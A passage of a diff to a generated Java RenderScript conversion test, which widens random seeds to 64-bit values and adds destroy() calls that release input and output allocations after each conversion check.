         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 4), INPUTSIZE);
             script.forEach_testConvertUchar4Char4Uchar4(inV, out);
             verifyResultsConvertChar4Uchar4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar4Char4Uchar4: " + e.toString());
         }
@@ -3347,9 +3496,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUchar4Char4Uchar4(inV, out);
             verifyResultsConvertChar4Uchar4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar4Char4Uchar4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertChar4Uchar4(Allocation inV, Allocation out, boolean relaxed) {
@@ -3408,11 +3559,12 @@
     }
 
     private void checkConvertUchar2Uchar2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 2, 0x67c29ce4l, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 2, 0x7d309f4e67c29ce4l, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 2), INPUTSIZE);
             script.forEach_testConvertUchar2Uchar2Uchar2(inV, out);
             verifyResultsConvertUchar2Uchar2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar2Uchar2Uchar2: " + e.toString());
         }
@@ -3420,9 +3572,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUchar2Uchar2Uchar2(inV, out);
             verifyResultsConvertUchar2Uchar2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar2Uchar2Uchar2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUchar2Uchar2(Allocation inV, Allocation out, boolean relaxed) {
@@ -3476,11 +3630,12 @@
     }
 
     private void checkConvertUchar3Uchar3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 3, 0x5dddbdc2l, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 3, 0x7d3268695dddbdc2l, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 3), INPUTSIZE);
             script.forEach_testConvertUchar3Uchar3Uchar3(inV, out);
             verifyResultsConvertUchar3Uchar3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar3Uchar3Uchar3: " + e.toString());
         }
@@ -3488,9 +3643,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUchar3Uchar3Uchar3(inV, out);
             verifyResultsConvertUchar3Uchar3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar3Uchar3Uchar3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUchar3Uchar3(Allocation inV, Allocation out, boolean relaxed) {
@@ -3544,11 +3701,12 @@
     }
 
     private void checkConvertUchar4Uchar4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 4, 0x53f8dea0l, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 4, 0x7d34318453f8dea0l, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 4), INPUTSIZE);
             script.forEach_testConvertUchar4Uchar4Uchar4(inV, out);
             verifyResultsConvertUchar4Uchar4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar4Uchar4Uchar4: " + e.toString());
         }
@@ -3556,9 +3714,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUchar4Uchar4Uchar4(inV, out);
             verifyResultsConvertUchar4Uchar4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar4Uchar4Uchar4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUchar4Uchar4(Allocation inV, Allocation out, boolean relaxed) {
@@ -3617,11 +3777,12 @@
     }
 
     private void checkConvertShort2Uchar2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 2, 0xabc38225l, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 2, 0x94cab57fabc38225l, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 2), INPUTSIZE);
             script.forEach_testConvertUchar2Short2Uchar2(inV, out);
             verifyResultsConvertShort2Uchar2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar2Short2Uchar2: " + e.toString());
         }
@@ -3629,9 +3790,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUchar2Short2Uchar2(inV, out);
             verifyResultsConvertShort2Uchar2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar2Short2Uchar2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertShort2Uchar2(Allocation inV, Allocation out, boolean relaxed) {
@@ -3685,11 +3848,12 @@
     }
 
     private void checkConvertShort3Uchar3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 3, 0xa1dea303l, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 3, 0x94cc7e9aa1dea303l, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 3), INPUTSIZE);
             script.forEach_testConvertUchar3Short3Uchar3(inV, out);
             verifyResultsConvertShort3Uchar3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar3Short3Uchar3: " + e.toString());
         }
@@ -3697,9 +3861,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUchar3Short3Uchar3(inV, out);
             verifyResultsConvertShort3Uchar3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar3Short3Uchar3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertShort3Uchar3(Allocation inV, Allocation out, boolean relaxed) {
@@ -3753,11 +3919,12 @@
     }
 
     private void checkConvertShort4Uchar4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 4, 0x97f9c3e1l, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 4, 0x94ce47b597f9c3e1l, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 4), INPUTSIZE);
             script.forEach_testConvertUchar4Short4Uchar4(inV, out);
             verifyResultsConvertShort4Uchar4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar4Short4Uchar4: " + e.toString());
         }
@@ -3765,9 +3932,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUchar4Short4Uchar4(inV, out);
             verifyResultsConvertShort4Uchar4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar4Short4Uchar4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertShort4Uchar4(Allocation inV, Allocation out, boolean relaxed) {
@@ -3826,11 +3995,12 @@
     }
 
     private void checkConvertUshort2Uchar2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 2, 0xd90fd1del, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 2, 0xc36a16c6d90fd1del, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 2), INPUTSIZE);
             script.forEach_testConvertUchar2Ushort2Uchar2(inV, out);
             verifyResultsConvertUshort2Uchar2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar2Ushort2Uchar2: " + e.toString());
         }
@@ -3838,9 +4008,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUchar2Ushort2Uchar2(inV, out);
             verifyResultsConvertUshort2Uchar2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar2Ushort2Uchar2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUshort2Uchar2(Allocation inV, Allocation out, boolean relaxed) {
@@ -3894,11 +4066,12 @@
     }
 
     private void checkConvertUshort3Uchar3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 3, 0xcf2af2bcl, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 3, 0xc36bdfe1cf2af2bcl, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 3), INPUTSIZE);
             script.forEach_testConvertUchar3Ushort3Uchar3(inV, out);
             verifyResultsConvertUshort3Uchar3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar3Ushort3Uchar3: " + e.toString());
         }
@@ -3906,9 +4079,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUchar3Ushort3Uchar3(inV, out);
             verifyResultsConvertUshort3Uchar3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar3Ushort3Uchar3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUshort3Uchar3(Allocation inV, Allocation out, boolean relaxed) {
@@ -3962,11 +4137,12 @@
     }
 
     private void checkConvertUshort4Uchar4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 4, 0xc546139al, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 4, 0xc36da8fcc546139al, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 4), INPUTSIZE);
             script.forEach_testConvertUchar4Ushort4Uchar4(inV, out);
             verifyResultsConvertUshort4Uchar4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar4Ushort4Uchar4: " + e.toString());
         }
@@ -3974,9 +4150,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUchar4Ushort4Uchar4(inV, out);
             verifyResultsConvertUshort4Uchar4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar4Ushort4Uchar4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUshort4Uchar4(Allocation inV, Allocation out, boolean relaxed) {
@@ -4035,11 +4213,12 @@
     }
 
     private void checkConvertInt2Uchar2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 2, 0x20a4b078l, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 2, 0x2a53651c20a4b078l, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 2), INPUTSIZE);
             script.forEach_testConvertUchar2Int2Uchar2(inV, out);
             verifyResultsConvertInt2Uchar2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar2Int2Uchar2: " + e.toString());
         }
@@ -4047,9 +4226,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUchar2Int2Uchar2(inV, out);
             verifyResultsConvertInt2Uchar2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar2Int2Uchar2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertInt2Uchar2(Allocation inV, Allocation out, boolean relaxed) {
@@ -4103,11 +4284,12 @@
     }
 
     private void checkConvertInt3Uchar3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 3, 0x16bfd156l, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 3, 0x2a552e3716bfd156l, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 3), INPUTSIZE);
             script.forEach_testConvertUchar3Int3Uchar3(inV, out);
             verifyResultsConvertInt3Uchar3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar3Int3Uchar3: " + e.toString());
         }
@@ -4115,9 +4297,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUchar3Int3Uchar3(inV, out);
             verifyResultsConvertInt3Uchar3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar3Int3Uchar3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertInt3Uchar3(Allocation inV, Allocation out, boolean relaxed) {
@@ -4171,11 +4355,12 @@
     }
 
     private void checkConvertInt4Uchar4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 4, 0xcdaf234l, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 4, 0x2a56f7520cdaf234l, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 4), INPUTSIZE);
             script.forEach_testConvertUchar4Int4Uchar4(inV, out);
             verifyResultsConvertInt4Uchar4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar4Int4Uchar4: " + e.toString());
         }
@@ -4183,9 +4368,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUchar4Int4Uchar4(inV, out);
             verifyResultsConvertInt4Uchar4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar4Int4Uchar4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertInt4Uchar4(Allocation inV, Allocation out, boolean relaxed) {
@@ -4244,11 +4431,12 @@
     }
 
     private void checkConvertUint2Uchar2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 2, 0xb326bcf9l, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 2, 0xd1e11e69b326bcf9l, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 2), INPUTSIZE);
             script.forEach_testConvertUchar2Uint2Uchar2(inV, out);
             verifyResultsConvertUint2Uchar2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar2Uint2Uchar2: " + e.toString());
         }
@@ -4256,9 +4444,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUchar2Uint2Uchar2(inV, out);
             verifyResultsConvertUint2Uchar2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar2Uint2Uchar2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUint2Uchar2(Allocation inV, Allocation out, boolean relaxed) {
@@ -4312,11 +4502,12 @@
     }
 
     private void checkConvertUint3Uchar3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 3, 0xa941ddd7l, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 3, 0xd1e2e784a941ddd7l, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 3), INPUTSIZE);
             script.forEach_testConvertUchar3Uint3Uchar3(inV, out);
             verifyResultsConvertUint3Uchar3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar3Uint3Uchar3: " + e.toString());
         }
@@ -4324,9 +4515,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUchar3Uint3Uchar3(inV, out);
             verifyResultsConvertUint3Uchar3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar3Uint3Uchar3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUint3Uchar3(Allocation inV, Allocation out, boolean relaxed) {
@@ -4380,11 +4573,12 @@
     }
 
     private void checkConvertUint4Uchar4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 4, 0x9f5cfeb5l, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 4, 0xd1e4b09f9f5cfeb5l, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 4), INPUTSIZE);
             script.forEach_testConvertUchar4Uint4Uchar4(inV, out);
             verifyResultsConvertUint4Uchar4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar4Uint4Uchar4: " + e.toString());
         }
@@ -4392,9 +4586,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUchar4Uint4Uchar4(inV, out);
             verifyResultsConvertUint4Uchar4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar4Uint4Uchar4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUint4Uchar4(Allocation inV, Allocation out, boolean relaxed) {
@@ -4453,11 +4649,12 @@
     }
 
     private void checkConvertFloat2Short2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x8fcf2692l, -3.2768000000000000000e+04, 3.2767000000000000000e+04);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xfb529ef98fcf2692l, -3.2768000000000000000e+04, 3.2767000000000000000e+04);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 2), INPUTSIZE);
             script.forEach_testConvertShort2Float2Short2(inV, out);
             verifyResultsConvertFloat2Short2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort2Float2Short2: " + e.toString());
         }
@@ -4465,9 +4662,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertShort2Float2Short2(inV, out);
             verifyResultsConvertFloat2Short2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort2Float2Short2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertFloat2Short2(Allocation inV, Allocation out, boolean relaxed) {
@@ -4521,11 +4720,12 @@
     }
 
     private void checkConvertFloat3Short3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x85ea4770l, -3.2768000000000000000e+04, 3.2767000000000000000e+04);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xfb54681485ea4770l, -3.2768000000000000000e+04, 3.2767000000000000000e+04);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 3), INPUTSIZE);
             script.forEach_testConvertShort3Float3Short3(inV, out);
             verifyResultsConvertFloat3Short3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort3Float3Short3: " + e.toString());
         }
@@ -4533,9 +4733,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertShort3Float3Short3(inV, out);
             verifyResultsConvertFloat3Short3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort3Float3Short3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertFloat3Short3(Allocation inV, Allocation out, boolean relaxed) {
@@ -4589,11 +4791,12 @@
     }
 
     private void checkConvertFloat4Short4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x7c05684el, -3.2768000000000000000e+04, 3.2767000000000000000e+04);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xfb56312f7c05684el, -3.2768000000000000000e+04, 3.2767000000000000000e+04);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 4), INPUTSIZE);
             script.forEach_testConvertShort4Float4Short4(inV, out);
             verifyResultsConvertFloat4Short4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort4Float4Short4: " + e.toString());
         }
@@ -4601,9 +4804,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertShort4Float4Short4(inV, out);
             verifyResultsConvertFloat4Short4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort4Float4Short4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertFloat4Short4(Allocation inV, Allocation out, boolean relaxed) {
@@ -4662,11 +4867,12 @@
     }
 
     private void checkConvertChar2Short2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 2, 0x60f84e52l, true, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 2, 0x58626b4b60f84e52l, true, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 2), INPUTSIZE);
             script.forEach_testConvertShort2Char2Short2(inV, out);
             verifyResultsConvertChar2Short2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort2Char2Short2: " + e.toString());
         }
@@ -4674,9 +4880,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertShort2Char2Short2(inV, out);
             verifyResultsConvertChar2Short2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort2Char2Short2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertChar2Short2(Allocation inV, Allocation out, boolean relaxed) {
@@ -4730,11 +4938,12 @@
     }
 
     private void checkConvertChar3Short3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 3, 0x57136f30l, true, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 3, 0x5864346657136f30l, true, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 3), INPUTSIZE);
             script.forEach_testConvertShort3Char3Short3(inV, out);
             verifyResultsConvertChar3Short3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort3Char3Short3: " + e.toString());
         }
@@ -4742,9 +4951,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertShort3Char3Short3(inV, out);
             verifyResultsConvertChar3Short3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort3Char3Short3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertChar3Short3(Allocation inV, Allocation out, boolean relaxed) {
@@ -4798,11 +5009,12 @@
     }
 
     private void checkConvertChar4Short4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 4, 0x4d2e900el, true, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 4, 0x5865fd814d2e900el, true, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 4), INPUTSIZE);
             script.forEach_testConvertShort4Char4Short4(inV, out);
             verifyResultsConvertChar4Short4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort4Char4Short4: " + e.toString());
         }
@@ -4810,9 +5022,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertShort4Char4Short4(inV, out);
             verifyResultsConvertChar4Short4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort4Char4Short4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertChar4Short4(Allocation inV, Allocation out, boolean relaxed) {
@@ -4871,11 +5085,12 @@
     }
 
     private void checkConvertUchar2Short2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 2, 0xfcd067fdl, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 2, 0x7d308b52fcd067fdl, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 2), INPUTSIZE);
             script.forEach_testConvertShort2Uchar2Short2(inV, out);
             verifyResultsConvertUchar2Short2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort2Uchar2Short2: " + e.toString());
         }
@@ -4883,9 +5098,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertShort2Uchar2Short2(inV, out);
             verifyResultsConvertUchar2Short2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort2Uchar2Short2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUchar2Short2(Allocation inV, Allocation out, boolean relaxed) {
@@ -4939,11 +5156,12 @@
     }
 
     private void checkConvertUchar3Short3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 3, 0xf2eb88dbl, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 3, 0x7d32546df2eb88dbl, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 3), INPUTSIZE);
             script.forEach_testConvertShort3Uchar3Short3(inV, out);
